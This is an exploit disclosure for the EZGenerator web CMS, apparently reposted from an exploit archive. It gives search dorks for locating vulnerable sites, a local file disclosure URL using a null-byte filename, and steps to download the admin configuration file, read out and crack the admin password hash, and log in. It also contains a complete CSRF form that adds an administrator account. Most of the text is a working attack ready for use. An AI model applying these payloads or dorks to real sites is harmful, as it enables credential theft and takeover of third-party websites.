EZGenerator跨站请求伪造漏洞

EZGenerator – Local File Disclosure/Admin Data/CSRF Vulnerability ================================================================= #################################################################### .:. Author : AtT4CKxT3rR0r1ST .:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com] .:. Home : http://www.iphobos.com/blog/ .:. Dork : inurl:”utils.php?action= inurl:”centraladmin.php?process=” (gR34‡$ T0 mY L0V3) #################################################################### ===[ Exploit ]=== Local File Disclosure: ===================== www.site.com/utils.php?action=download&filename=file.php%00 Admin Data =========== 1-download centraladmin.php via exploit file discloure [www.site.com/utils.php?action=download&filename=centraladmin.php%00] 2-when download file found it $ca_admin_username=”admin”; $ca_admin_pwd=”c89f9f4ef264e22001f9a9c3d72992ef”; 3-crack hash and join 4-admin panel: www.site.com/centraladmin.php CSRF [Add Admin]: ================ <form method=”POST” name=”form0″ action=” http://site/centraladmin.php?process=processuser“> <input type=”hidden” name=”flag” value=”add”/> <input type=”hidden” name=”old_username” value=”"/> <input type=”hidden” name=”username” value=”admin”/> <input type=”hidden” name=”name” value=”mm”/> <input type=”hidden” name=”sirname” value=”hh”/> <input type=”hidden” name=”email” value=”email@live.com“/> <input type=”hidden” name=”password” value=”12121212″/> <input type=”hidden” name=”repeatedpassword” value=”12121212″/> <input type=”hidden” name=”select_all” value=”yes”/> <input type=”hidden” name=”access_to_page47″ value=”2″/> <input type=”hidden” name=”save” value=”Save”/> </form> </body> </html> ####################################################################